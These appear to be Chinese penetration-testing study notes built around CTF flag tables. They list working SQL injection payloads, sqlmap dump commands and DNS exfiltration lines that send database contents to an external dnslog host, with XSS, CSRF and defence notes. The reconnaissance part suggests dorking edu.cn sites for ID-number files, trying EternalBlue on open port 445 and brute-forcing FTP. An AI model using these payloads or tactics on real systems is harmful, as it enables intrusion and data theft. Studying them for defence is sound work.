sql注入
sql注入的本质:是把用户输入的数据当做代码去执行。
sql注入的条件:1.用户能够控制输入
2.原本执行的代码,拼接了用户输入的数据去执行。
判断注入的方法:1.and 1=1 and 1=2 页面错误说明存在注入
2.id =1' 引号被执行说明存在注入
2.id =1y与id =2-1的界面相同说明存在注入
sql注入的分类:1.显错注入:get注入和post注入是两种传参方式,post是通过登录框进行传参,get是通过在url栏里进行传参,head注入可以通过这三种方式进行传参
cookie注入是一个cookie设置在cookie设置里进行传参
联合查询 回显点是3,有3个字段时,根据环境出现'"需要闭合,没有引号就不用
爆库名 ‘union select 1,2,database()#
爆表名 ‘union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#
爆字段名‘union select 1,2,group_concat(column_name)from information_schema.columns where table_name=’flag’#
爆内容 ‘union select 1,2,group_concat(flag)from flag#
2.盲注: 布尔盲注、延时注入
爆库名长度 and length(database())=12
判断库名 And ascii(substr(database(),1,1))=107 k
判断表名 And ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108 l
工具sqlmap跑内容 sqlmap -u url --dump -C flaglo -T loflag -D kanwolongxia
3.宽字节注入 (group_concat函数的使用,将查询到的所有内容放到一行且用逗号隔开)
汉'的作用是为了绕出魔术引号
爆库名 汉' union select 1,database(),database() --+
爆表名 汉' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名 汉' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167
爆内容 汉' union select 1,2,group_concat(C_Flag) from china_flag
4.cookie
使用函数 document.cookie="id="+escape("xxx order by xx")
偏移注入 admin.*
5.MYsql-DNS注入
爆库名 And load_file(concat(‘//’,(select database()),’.02nz91.dnslog.cn//abc’))
爆表名 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit0,1),'.02nz91.dnslog.cn//abc'))
第二个表and load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.02nz91.dnslog.cn//abc'))
爆字段 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 3,1),'.02nz91.dnslog.cn//abc'))
爆内容 and load_file(concat('//',(select password from admin limit 0,1),'.02nz91.dnslog.cn//abc'))
6.MSsql反弹注入
爆库名 union all select dbid,name,null from master.dbo.sysdatabases
爆表名 union all select id,name,null from dbo.sysobjects where xtype='U'
爆字段 union all select null,name,null from dbo.syscolumns where id=1977058079
爆内容 union all select null,passwd,null from admin
7.oracle报错&显错注入
查询表 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
查询第二个表 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS' ))
查询admin表的字段 And 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1))
admin表的第二个字段 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name='ADMIN' and column_name<>'ID'))
admin表的第三个字段 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name='ADMIN' and column_name <>'ID' and column_name <> 'UNAME'and column_name <>'UPASS'))
查询表的内容 and 1= ctxsys.drithsx.sn(1,(select uname from admin where rownum=1))
and 1= ctxsys.drithsx.sn(1,(select uname from admin where rownum=1 and uname<>'我是管理员'))
and 1=ctxsys.drithsx.sn(1,(select uname from admin where rownum=1and uname<>'我是管理员'and uname <>'admin')) -- qwe
查找nf的密码 and 1=ctxsys.drithsx.sn(1,(select upass from admin where rownum=1and uname='NF')) -- qwe
sql注入使用的函数:
1.通用:group_concat()将列显示的数据,行显示,limit n,m /将查询到的数据凡在一行,用逗号隔开。
2.报错注入:updatexml(1,concat)0x7e,(select database()),0x7e),1)
3.布尔盲注:ascii(substr(database(),1,1))
4.延时盲注:if(ascii(substr(database(),1,1))>1,sleep(5),'a')
5.cookie 偏移注入:document.cookie="id"=+escape('xxx')、exists()
file_exists() 函数检查文件或目录是否存在
6.DNS注入:load_file()//读取一个文件并将其内容作为字符串返回
7.MSSQL反弹:opendatasource('sqloledb','') //向sql服务器发送东西
8.oracel报错: and 1= ctxsys.drithsx.sn()
oracle报错常用语句:
1.select*from user_tables 查询当前用户的表
2.select*from user_tab_columns 查询当前用户表里的字段
3.select*from all_tables 查询所有表
4.select*from all_tab_columns 查询所有字段
sql注入的危害:
最直接的危害:可以获得数据库的数据
还可以提权
防御:主流的防御:正则匹配过滤(有效的正则过滤可以很好的防御注入,(sql注入、xss注入(html注入)、xee注入))
数据库预处理
sql注入使用的工具: sqlmap burp
sqlmap使用
一、跑url(-u)
判断有无注入
sqlmap -u url
爆库名
sqlmap -u url --dbs
爆表名
(推荐)sqlmap -u url --tables -D a1 //爆出a1库中的所有表名
sqlmap -u url --tables //爆出所有库中所有表名
爆字段
sqlmap -u url --columns -T a2 -D a1 //爆出数据库a1中,a2表中所有字段名
爆内容
sqlmap -u url --dump -C a3 -T a2 -D a1 //爆出a1数据库中,a2表中,a3字段中所有内容
//-C -D -T 顺序无所谓
二、跑文件
判断有无注入
sqlmap -r /root/桌面/1.txt
爆库名
sqlmap -r /root/桌面/1.txt --dbs
爆表名
(推荐)sqlmap -r /root/桌面/1.txt --tables -D a1 //爆出a1库中的所有表名
sqlmap -r /root/桌面/1.txt --tables //爆出所有库中所有表名
爆字段
sqlmap -r /root/桌面/1.txt --columns -T a2 -D a1 //爆出数据库a1中,a2表中所有字段名
爆内容
sqlmap -r /root/桌面/1.txt --dump -C a3 -T a2 -D a1 //爆出a1数据库中,a2表中,a3字段中所有内容
//-C -D -T 顺序无所谓
三、其他参数
--threads x (x可以是1-10) //线程得意思,数越大越快
--level x (x可以是1-5,实战推荐用3) //检测力度的意思,越大检测越全
* //精确打击,在可能存在注入的地方后面加*
示例:sqlmap -u url/id/3*.html
sqlmap -u url?id=3*
--flush-session //清除缓存
flag'lo --dbsta
xss注入
xss注入的本质:用户输入的数据作为前端代码去执行
xss注入的条件:1.用户能够控制输入
2.用户输入的数据拼接了前端代码去执行
xss判断注入的方法:1.标签触发 //‘ onfocus=alert(1) autofocus // 当你获取焦点的时候会自动触发,一直弹窗
2.存储型
弹窗语句
xss平台语句 '">
3.Dom型
弹窗语句 转为native编码
xss平台语句 转码
xss危害:主要危害是:盗取cookie
获取内网ip
获取浏览器保存的明文密码
截取网页屏幕,网页上的键盘记录
xss防御:正则表达式过滤< > " ' 这四个符号
限制输入长度
用HTML实体编码 : 用特殊的字符串代替 <>'"等符号
csrf和xss的区别
xss式操作目标网站的前端代码,到期cookie,而csrf是让浏览器偷偷的访问目标网站,利用cookie
csrf危害:最常见的:攻击者盗用了你的身份,以你的名义发送恶意代码请求,以你的名义发送邮件,发消息,盗取你的账号
甚至购买商品,虚拟货币转账等。会造成的问题:个人隐私泄露以及财产安全
攻击过程:访问a网页同时没有退出账号时即cookie未失效的时候,访问b网页,因为b网页有恶意代码,并且让你的浏览器访问a网页,
a网页没有csrf防范,执行了b网页的代码,在不知道的情况下就被攻击了。
csrf防御:(1)方案一:
a、服务器在cookie中添加一个变量,并赋值一段字符串
b、页面获取字符串,并通过隐藏的方式将该字符串传递给后台
c、服务器判断有无字符串
结论:有字符串,说明不是模拟的,没有则说明是crsf攻击
备注:安全系数很高,但是还是有点点隐患,这段字符串可能被盗
(2)方案二:(验证码)
要提交的页面通过验证码进行验证
(3)方案三:在页面生成密码,传给后台作处理
信息收集
有效的信息收集可以很好的扩大攻击面积
信息收集的内容:端口扫描、子域名收集、目录扫描是挖掘src的核心
1.whois信息
顶级域名谁注册的,还注册了哪些网站
大学网址一般由教育部统一注册, (正常来说whois查不到关于大学的信息)
2.子域名
com(用于商业公司);
net(用于网络服务); 主站存在waf而子站可能不存在,所以会更好攻击
org(用于组织协会等);
gov (用于政府部门);
edu(用于教育机构);
mil(用于军事领域);
int(用于国际组织);
cn (中国)
注意:edu也是顶级域名,但是edu.cn是二级域名
3.端口探测
~代表不同的服务或者网站
~默认端口可以修改
nmap不授权的公司尽量不要扫,但可以扫src
(awvs,appscan这样的扫描器不能用来扫src)
nmap扫到开启里危险端口的话,如455 可以直接用msf的永恒之蓝打一下,说不定直接拿到服务器的最高权限
4.目标扫描
扫出后台可以试试弱密码,书补丁直接登录
还有可能扫除数据库的文件,直接下载,连sql注入都不用了
还有可能扫出一些敏感路径,直接未授权访问(就是普通用户访问到了管理员才可以访问的页面)
~跑一个网站的其他网页、备份目录(文件夹)
~用御剑扫描目录 注意延时扫描可以防止被拉黑IP
~勾选200与403(有些文件(夹)存在但显示错误,可以在此重新测试)
当然403也会误报,403状态码是权限不足的意思
~robots.txt,君子协议,假如太详细的话可以进行利用
5.指纹识别
看看目标网站是什么CMS、什么中间件、什么数据库了等等
知道目标网站的cms,可以去百度XXcmd的漏洞,或者试试能不能下载源码进行白盒子审计
6.旁站查询
同一IP的不同网站,可能都在同一服务器上,也可能在同一内网
7.c段扫描
同一网段的其他IP
8.敏感信息泄露
主要是谷歌语法
常用的谷歌语法
1, ~site:(指定域名)
例如:size:edu.cn
结果:都是edu.cn的网站
2,~inurl:(指定url)
例如:
inurl:'.php?id=123' 公司 //这是找sql注入的一种方法
或者 inurl:'.asp?id=123' 公司 //这是找sql注入的一种方法
3,~filetype=(指定文件类型)
例如:site:edu.cn filetype:xls
稍微极端点:
site:edu.cn filetype:xls 身份证号
site:edu.cn filetype:xls 身份证号 199601
site:edu.cn filetype:doc 手册
site:edu.cn filetype:doc 手册 默认密码
信息收集
信息收集的方法
1,whois在线、企查查、天眼查
2,端口
~分类:
~物理端口 (比如:usb端口等等)
~逻辑端口 (主要利用这个)
~探测:
~nmap命令
~在线网站
例如:查出开放21端口,可以直接ftp://IP 连接试试,也可用九头蛇爆破
3,旁站、C段
~站长工具
~结果不一定准,域名换一个IP很简单。
改变指向只需要几秒,十几分钟就可以在全世界生效
4,指纹识别
~https://whatweb.net //国外··
~http://whatweb.bugscaner.com/look/ //国外··
~http://www.yunsee.cn/finger.html //国内
//多试试几个网站,一个站可能不全
5,谷歌语法
~再百度上一样用,当然 最好是谷歌引擎
信息收集的方法
1,whois在线、企查查、天眼查
2,端口
~分类:
~物理端口 (比如:usb端口等等)
~逻辑端口 (主要利用这个)
~探测:
~nmap命令
~在线网站
例如:查出开放21端口,可以直接ftp://IP 连接试试,也可用九头蛇爆破
3,旁站、C段
~站长工具
~结果不一定准,域名换一个IP很简单。
改变指向只需要几秒,十几分钟就可以在全世界生效
4,指纹识别
~https://whatweb.net //国外··
~http://whatweb.bugscaner.com/look/ //国外··
~http://www.yunsee.cn/finger.html //国内
//多试试几个网站,一个站可能不全
5,谷歌语法
~再百度上一样用,当然 最好是谷歌引擎
常用端口:
80端口:http协议3306端口:mysql1433端口:mssql 1521端口:oracle
445端口:共享文件或共享打印机 22端口:ssh 443端口:网页浏览
8080端口:www代理服务 6379端口:redis 3389端口:远程服务
20、21端口:主要用于ftp,问价传输协议 21端口用于连接,20端口用于传输数据
默认端口:默认设置(可改动)